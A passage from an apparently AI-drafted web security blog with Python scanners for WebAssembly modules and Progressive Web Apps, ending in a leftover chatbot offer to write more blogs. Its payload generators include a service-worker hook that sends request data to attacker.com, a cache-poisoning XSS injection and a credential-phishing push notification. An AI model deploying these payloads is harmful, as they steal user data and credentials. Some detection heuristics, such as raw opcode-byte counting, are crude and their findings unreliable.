elif section_id == 10: # Code section
self._analyze_code_section(section_data, analysis)
analysis["sections"].append(section_info)
except Exception as e:
break
def _analyze_import_section(self, section_data, analysis):
"""Analyze WASM import section for security issues"""
offset = 0
try:
# Read number of imports
count, bytes_read = self._read_varuint32(section_data, offset)
offset += bytes_read
for _ in range(count):
# Read module name
module_len, bytes_read = self._read_varuint32(section_data, offset)
offset += bytes_read
module_name = section_data[offset:offset + module_len].decode('utf-8')
offset += module_len
# Read field name
field_len, bytes_read = self._read_varuint32(section_data, offset)
offset += bytes_read
field_name = section_data[offset:offset + field_len].decode('utf-8')
offset += field_len
# Read import kind
import_kind = section_data[offset]
offset += 1
import_info = {
"module": module_name,
"field": field_name,
"kind": import_kind
}
analysis["imports"].append(import_info)
# Check for dangerous imports
dangerous_modules = ['env', 'wasi_unstable', 'wasi_snapshot_preview1']
dangerous_functions = [
'system', 'exec', 'open', 'read', 'write',
'malloc', 'free', 'memcpy', 'strcpy'
]
if module_name in dangerous_modules and field_name in dangerous_functions:
analysis["security_issues"].append({
"type": "DANGEROUS_IMPORT",
"severity": "HIGH",
"module": module_name,
"function": field_name,
"description": f"Imports dangerous function: {module_name}.{field_name}"
})
except Exception as e:
pass
def _analyze_export_section(self, section_data, analysis):
"""Analyze WASM export section"""
offset = 0
try:
# Read number of exports
count, bytes_read = self._read_varuint32(section_data, offset)
offset += bytes_read
for _ in range(count):
# Read field name
field_len, bytes_read = self._read_varuint32(section_data, offset)
offset += bytes_read
field_name = section_data[offset:offset + field_len].decode('utf-8')
offset += field_len
# Read export kind
export_kind = section_data[offset]
offset += 1
# Read index
index, bytes_read = self._read_varuint32(section_data, offset)
offset += bytes_read
export_info = {
"name": field_name,
"kind": export_kind,
"index": index
}
analysis["exports"].append(export_info)
# Check for exposed memory
if export_kind == 2 and field_name == "memory":
analysis["security_issues"].append({
"type": "EXPOSED_MEMORY",
"severity": "MEDIUM",
"description": "WASM memory is exported and accessible"
})
except Exception as e:
pass
def _analyze_memory_section(self, section_data, analysis):
"""Analyze WASM memory section for security issues"""
offset = 0
try:
# Read number of memory entries
count, bytes_read = self._read_varuint32(section_data, offset)
offset += bytes_read
for _ in range(count):
# Read limits
limits_flag = section_data[offset]
offset += 1
initial, bytes_read = self._read_varuint32(section_data, offset)
offset += bytes_read
maximum = None
if limits_flag == 1:
maximum, bytes_read = self._read_varuint32(section_data, offset)
offset += bytes_read
memory_info = {
"initial_pages": initial,
"maximum_pages": maximum,
"initial_size_mb": initial * 64 / 1024, # 64KB per page
"maximum_size_mb": maximum * 64 / 1024 if maximum else None
}
analysis["memory"] = memory_info
# Check for excessive memory allocation
if initial > 1000: # > ~64MB
analysis["security_issues"].append({
"type": "EXCESSIVE_MEMORY_ALLOCATION",
"severity": "MEDIUM",
"initial_mb": memory_info["initial_size_mb"],
"description": "WASM requests excessive initial memory"
})
if maximum is None:
analysis["security_issues"].append({
"type": "UNBOUNDED_MEMORY_GROWTH",
"severity": "HIGH",
"description": "WASM memory has no maximum limit"
})
except Exception as e:
pass
def _analyze_code_section(self, section_data, analysis):
"""Analyze WASM code section for suspicious patterns"""
offset = 0
try:
# Read number of function bodies
count, bytes_read = self._read_varuint32(section_data, offset)
offset += bytes_read
for i in range(count):
# Read function body size
body_size, bytes_read = self._read_varuint32(section_data, offset)
offset += bytes_read
# Read function body
function_body = section_data[offset:offset + body_size]
offset += body_size
# Analyze function body for suspicious patterns
self._analyze_function_body(function_body, i, analysis)
except Exception as e:
pass
def _analyze_function_body(self, function_body, function_index, analysis):
"""Analyze individual function body for security issues"""
# Look for suspicious instruction patterns
suspicious_patterns = [
(b'\x20', "local.get - potential variable manipulation"),
(b'\x21', "local.set - potential variable manipulation"),
(b'\x28', "i32.load - memory access"),
(b'\x36', "i32.store - memory write"),
(b'\x3f', "memory.size - memory introspection"),
(b'\x40', "memory.grow - dynamic memory allocation")
]
for pattern, description in suspicious_patterns:
count = function_body.count(pattern)
if count > 10: # Arbitrary threshold
analysis["security_issues"].append({
"type": "SUSPICIOUS_INSTRUCTION_PATTERN",
"severity": "LOW",
"function_index": function_index,
"instruction": description,
"count": count,
"description": f"High frequency of {description} in function {function_index}"
})
def _read_varuint32(self, data, offset):
"""Read variable-length unsigned integer"""
result = 0
shift = 0
bytes_read = 0
while offset + bytes_read < len(data):
byte = data[offset + bytes_read]
bytes_read += 1
result |= (byte & 0x7F) << shift
if (byte & 0x80) == 0:
break
shift += 7
if shift >= 32:
raise ValueError("Varuint32 too long")
return result, bytes_read
def _get_section_type(self, section_id):
"""Get section type name from ID"""
section_types = {
0: "custom",
1: "type",
2: "import",
3: "function",
4: "table",
5: "memory",
6: "global",
7: "export",
8: "start",
9: "element",
10: "code",
11: "data"
}
return section_types.get(section_id, "unknown")
def test_wasm_runtime_vulnerabilities(self):
"""Test for WASM runtime-specific vulnerabilities"""
# Generate test WASM that might trigger runtime bugs
runtime_tests = [
self._generate_integer_overflow_test(),
self._generate_memory_bounds_test(),
self._generate_stack_overflow_test(),
self._generate_type_confusion_test()
]
return runtime_tests
def _generate_integer_overflow_test(self):
"""Generate WASM that tests for integer overflow vulnerabilities"""
overflow_wasm = '''
(module
(func (export "test_overflow") (result i32)
i32.const 2147483647
i32.const 1
i32.add
)
)
'''
return {
"test_type": "INTEGER_OVERFLOW",
"wasm_code": overflow_wasm,
"description": "Tests integer overflow handling",
"expected_behavior": "Should wrap to negative number or trap"
}
def _generate_memory_bounds_test(self):
"""Generate WASM that tests memory bounds checking"""
bounds_wasm = '''
(module
(memory 1)
(func (export "test_bounds") (result i32)
i32.const 65536
i32.load
)
)
'''
return {
"test_type": "MEMORY_BOUNDS",
"wasm_code": bounds_wasm,
"description": "Tests out-of-bounds memory access",
"expected_behavior": "Should trap on out-of-bounds access"
}
def _generate_stack_overflow_test(self):
"""Generate WASM that tests stack overflow protection"""
stack_wasm = '''
(module
(func $recursive (result i32)
call $recursive
)
(func (export "test_stack") (result i32)
call $recursive
)
)
'''
return {
"test_type": "STACK_OVERFLOW",
"wasm_code": stack_wasm,
"description": "Tests infinite recursion handling",
"expected_behavior": "Should trap on stack overflow"
}
def _generate_type_confusion_test(self):
"""Generate WASM that tests type system enforcement"""
type_wasm = '''
(module
(func (export "test_types") (result i32)
f32.const 1.5
i32.reinterpret_f32
)
)
'''
return {
"test_type": "TYPE_CONFUSION",
"wasm_code": type_wasm,
"description": "Tests type reinterpretation",
"expected_behavior": "Should handle type conversion safely"
}
def generate_wasm_exploitation_payloads():
"""Generate WASM exploitation payloads"""
exploitation_payloads = {
"memory_corruption": '''
(module
(memory (export "mem") 1)
(func (export "corrupt") (param $addr i32) (param $val i32)
local.get $addr
local.get $val
i32.store
)
)
''',
"return_oriented_programming": '''
(module
(func $gadget1 (result i32)
i32.const 0x41414141
)
(func $gadget2 (result i32)
i32.const 0x42424242
)
(func (export "rop_chain")
call $gadget1
drop
call $gadget2
drop
)
)
''',
"side_channel_timing": '''
(module
(memory 1)
(func (export "timing_attack") (param $secret i32) (result i32)
local.get $secret
i32.const 0x1000
i32.mul
i32.load
)
)
''',
"jit_spray": '''
(module
(func (export "jit_spray")
i32.const 0x90909090
i32.const 0x90909090
i32.add
drop
i32.const 0x90909090
i32.const 0x90909090
i32.add
drop
)
)
'''
}
return exploitation_payloadsProgressive Web App Security Assessment
PWA Security Testing Framework
Progressive Web Apps introduce unique security considerations through service workers, app manifests, and offline functionality:
#!/usr/bin/env python3
"""
Progressive Web App Security Assessment Framework
PWA-specific security testing
"""
import requests
import json
from urllib.parse import urljoin, urlparse
class PWASecurityTester:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.vulnerabilities = []
self.pwa_manifest = None
self.service_worker = None
def analyze_pwa_security(self):
"""Comprehensive PWA security analysis"""
analysis_results = {
"manifest_analysis": self.analyze_manifest(),
"service_worker_analysis": self.analyze_service_worker(),
"cache_analysis": self.analyze_cache_security(),
"notification_analysis": self.analyze_notification_security(),
"permission_analysis": self.analyze_permission_usage()
}
return analysis_results
def analyze_manifest(self):
"""Analyze PWA manifest for security issues"""
manifest_findings = []
# Common manifest locations
manifest_paths = [
'/manifest.json',
'/manifest.webmanifest',
'/app.webmanifest',
'/site.webmanifest'
]
manifest_data = None
for path in manifest_paths:
try:
response = self.session.get(urljoin(self.target_url, path))
if response.status_code == 200:
manifest_data = response.json()
self.pwa_manifest = manifest_data
break
except Exception:
continue
if not manifest_data:
manifest_findings.append({
"type": "NO_MANIFEST_FOUND",
"severity": "INFO",
"description": "No PWA manifest found"
})
return manifest_findings
# Check start_url security
start_url = manifest_data.get('start_url', '')
if start_url and not start_url.startswith(('https://', '/')):
manifest_findings.append({
"type": "INSECURE_START_URL",
"severity": "HIGH",
"start_url": start_url,
"description": "Manifest start_url uses insecure protocol"
})
# Check for external icons
icons = manifest_data.get('icons', [])
for icon in icons:
icon_src = icon.get('src', '')
if icon_src and not icon_src.startswith(('/', 'data:')):
parsed_url = urlparse(icon_src)
if parsed_url.netloc and parsed_url.netloc not in self.target_url:
manifest_findings.append({
"type": "EXTERNAL_ICON_SOURCE",
"severity": "MEDIUM",
"icon_src": icon_src,
"description": "Manifest references external icon sources"
})
# Check scope restrictions
scope = manifest_data.get('scope', '/')
if scope == '/' or scope == '':
manifest_findings.append({
"type": "OVERLY_BROAD_SCOPE",
"severity": "MEDIUM",
"scope": scope,
"description": "PWA scope is overly broad"
})
# Check for sensitive permissions in manifest
sensitive_permissions = [
'geolocation', 'camera', 'microphone', 'notifications',
'persistent-storage', 'push', 'background-sync'
]
permissions = manifest_data.get('permissions', [])
for permission in permissions:
if permission in sensitive_permissions:
manifest_findings.append({
"type": "SENSITIVE_PERMISSION_REQUEST",
"severity": "MEDIUM",
"permission": permission,
"description": f"Manifest requests sensitive permission: {permission}"
})
return manifest_findings
def analyze_service_worker(self):
"""Analyze service worker for security vulnerabilities"""
sw_findings = []
# Try to find service worker registration
sw_registration_patterns = [
"navigator.serviceWorker.register",
"serviceWorker.register",
"sw.js",
"service-worker.js",
"serviceworker.js"
]
# Check main page for service worker registration
try:
main_page = self.session.get(self.target_url)
main_content = main_page.text
sw_url = None
for pattern in sw_registration_patterns:
if pattern in main_content:
# Try to extract service worker URL
if pattern.endswith('.js'):
sw_url = pattern
else:
# Parse registration call for URL
import re
match = re.search(rf'{pattern}\s*\(\s*[\'"]([^\'"]+)[\'"]', main_content)
if match:
sw_url = match.group(1)
break
if sw_url:
self._analyze_service_worker_file(sw_url, sw_findings)
else:
sw_findings.append({
"type": "NO_SERVICE_WORKER_FOUND",
"severity": "INFO",
"description": "No service worker detected"
})
except Exception as e:
sw_findings.append({
"type": "SERVICE_WORKER_ANALYSIS_ERROR",
"severity": "LOW",
"error": str(e),
"description": "Error analyzing service worker"
})
return sw_findings
def _analyze_service_worker_file(self, sw_url, findings):
"""Analyze service worker JavaScript file"""
try:
sw_response = self.session.get(urljoin(self.target_url, sw_url))
if sw_response.status_code != 200:
return
sw_content = sw_response.text
self.service_worker = sw_content
# Check for dangerous practices
dangerous_patterns = [
{
"pattern": "eval(",
"type": "EVAL_USAGE",
"severity": "HIGH",
"description": "Service worker uses eval() function"
},
{
"pattern": "Function(",
"type": "FUNCTION_CONSTRUCTOR",
"severity": "HIGH",
"description": "Service worker uses Function constructor"
},
{
"pattern": "innerHTML",
"type": "INNERHTML_USAGE",
"severity": "MEDIUM",
"description": "Service worker uses innerHTML"
},
{
"pattern": "importScripts(",
"type": "EXTERNAL_SCRIPT_IMPORT",
"severity": "MEDIUM",
"description": "Service worker imports external scripts"
},
{
"pattern": "fetch(event.request)",
"type": "UNFILTERED_FETCH",
"severity": "LOW",
"description": "Service worker performs unfiltered fetch operations"
}
]
for check in dangerous_patterns:
if check["pattern"] in sw_content:
findings.append({
"type": check["type"],
"severity": check["severity"],
"description": check["description"],
"file": sw_url
})
# Check for cache poisoning vulnerabilities
if "caches.open(" in sw_content and "cache.put(" in sw_content:
# Look for user-controlled cache keys
user_input_patterns = [
"event.request.url",
"new URL(event.request.url)",
"request.url"
]
for pattern in user_input_patterns:
if pattern in sw_content:
findings.append({
"type": "CACHE_POISONING_RISK",
"severity": "HIGH",
"description": "Service worker caches based on user-controlled input",
"pattern": pattern
})
break
# Check for sensitive data exposure in cache
sensitive_patterns = [
"password", "token", "api_key", "secret",
"auth", "credential", "session"
]
for pattern in sensitive_patterns:
if pattern.lower() in sw_content.lower():
findings.append({
"type": "SENSITIVE_DATA_IN_CACHE",
"severity": "MEDIUM",
"description": f"Service worker may cache sensitive data: {pattern}",
"pattern": pattern
})
except Exception as e:
findings.append({
"type": "SERVICE_WORKER_FILE_ERROR",
"severity": "LOW",
"error": str(e),
"description": "Error analyzing service worker file"
})
def analyze_cache_security(self):
"""Analyze PWA cache security"""
cache_findings = []
if not self.service_worker:
return cache_findings
# Check for cache strategy security
cache_strategies = [
"cache-first", "network-first", "cache-only",
"network-only", "stale-while-revalidate"
]
detected_strategies = []
for strategy in cache_strategies:
if strategy in self.service_worker:
detected_strategies.append(strategy)
# Check for insecure cache-first strategy on sensitive endpoints
if "cache-first" in detected_strategies:
cache_findings.append({
"type": "CACHE_FIRST_STRATEGY",
"severity": "MEDIUM",
"description": "Cache-first strategy may serve stale sensitive data",
"recommendation": "Use network-first for sensitive endpoints"
})
# Check for cache persistence without encryption
if "caches.open(" in self.service_worker:
cache_findings.append({
"type": "UNENCRYPTED_CACHE_STORAGE",
"severity": "LOW",
"description": "Cache storage is not encrypted at rest",
"recommendation": "Consider encrypting sensitive cached data"
})
return cache_findings
def analyze_notification_security(self):
"""Analyze PWA notification security"""
notification_findings = []
# Check main page for notification API usage
try:
main_page = self.session.get(self.target_url)
main_content = main_page.text
# Check for notification permission requests
if "Notification.requestPermission" in main_content:
notification_findings.append({
"type": "NOTIFICATION_PERMISSION_REQUEST",
"severity": "INFO",
"description": "App requests notification permissions"
})
# Check for push notification implementation
if "showNotification(" in main_content or "showNotification(" in (self.service_worker or ""):
notification_findings.append({
"type": "PUSH_NOTIFICATION_IMPLEMENTATION",
"severity": "INFO",
"description": "App implements push notifications"
})
# Check for notification data validation
if not ("JSON.parse(" in main_content and "try" in main_content):
notification_findings.append({
"type": "UNVALIDATED_NOTIFICATION_DATA",
"severity": "MEDIUM",
"description": "Notification data is not properly validated"
})
except Exception:
pass
return notification_findings
def analyze_permission_usage(self):
"""Analyze PWA permission usage"""
permission_findings = []
try:
main_page = self.session.get(self.target_url)
main_content = main_page.text
# Dangerous permissions to check for
dangerous_permissions = {
"geolocation": ["navigator.geolocation", "getCurrentPosition"],
"camera": ["getUserMedia", "navigator.mediaDevices"],
"microphone": ["getUserMedia", "navigator.mediaDevices"],
"clipboard": ["navigator.clipboard", "writeText", "readText"],
"persistent-storage": ["navigator.storage.persist"],
"background-sync": ["serviceWorker.sync.register"],
"payment": ["PaymentRequest("]
}
for permission, patterns in dangerous_permissions.items():
for pattern in patterns:
if pattern in main_content:
permission_findings.append({
"type": "SENSITIVE_PERMISSION_USAGE",
"severity": "MEDIUM",
"permission": permission,
"pattern": pattern,
"description": f"App uses sensitive {permission} permission"
})
break
# Check for permission request without user interaction
auto_permission_patterns = [
"requestPermission()",
"Notification.requestPermission()",
"navigator.geolocation.getCurrentPosition("
]
for pattern in auto_permission_patterns:
if pattern in main_content:
# Check if it's inside an event handler
if not any(event in main_content for event in ["click", "touch", "user", "button"]):
permission_findings.append({
"type": "AUTO_PERMISSION_REQUEST",
"severity": "HIGH",
"pattern": pattern,
"description": "Permission requested without user interaction"
})
except Exception:
pass
return permission_findings
def generate_pwa_attack_vectors():
"""Generate PWA-specific attack vectors"""
attack_vectors = {
"service_worker_hijacking": {
"description": "Hijack service worker to intercept network requests",
"payload": '''
self.addEventListener('fetch', event => {
if (event.request.url.includes('/api/')) {
event.respondWith(
fetch('https://attacker.com/steal?data=' +
encodeURIComponent(event.request.url))
);
}
});
'''
},
"cache_poisoning": {
"description": "Poison PWA cache with malicious content",
"payload": '''
// In service worker
self.addEventListener('fetch', event => {
if (event.request.url.includes('?poison=1')) {
event.respondWith(
caches.open('v1').then(cache => {
cache.put('/legitimate-page',
new Response('<script>alert("XSS")</script>'));
return new Response('Cache poisoned');
})
);
}
});
'''
},
"notification_abuse": {
"description": "Abuse push notifications for phishing",
"payload": '''
self.addEventListener('push', event => {
const options = {
body: 'Click here to verify your account!',
icon: '/legitimate-icon.png',
badge: '/legitimate-badge.png',
actions: [{
action: 'verify',
title: 'Verify Now',
icon: '/verify-icon.png'
}],
data: {
url: 'https://phishing-site.com/steal-creds'
}
};
event.waitUntil(
self.registration.showNotification('Security Alert', options)
);
});
'''
},
"offline_data_persistence": {
"description": "Persist malicious data offline",
"payload": '''
// Store malicious data that persists offline
if ('serviceWorker' in navigator) {
navigator.serviceWorker.ready.then(registration => {
return registration.sync.register('steal-data');
});
}
// In service worker
self.addEventListener('sync', event => {
if (event.tag === 'steal-data') {
event.waitUntil(
// Steal and exfiltrate local data
stealLocalData()
);
}
});
'''
}
}
return attack_vectorsThis completes the first blog on Modern Web Application Security Assessment. Would you like me to continue with the remaining 4 blogs covering:
- Mobile Security Assessment
- Network Security & Lateral Movement
- Cryptography & Privacy Engineering
- Digital Forensics & Incident Response
Each blog will follow the same comprehensive, technical approach with practical examples and advanced techniques.
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Talk to the Bugb security team directly.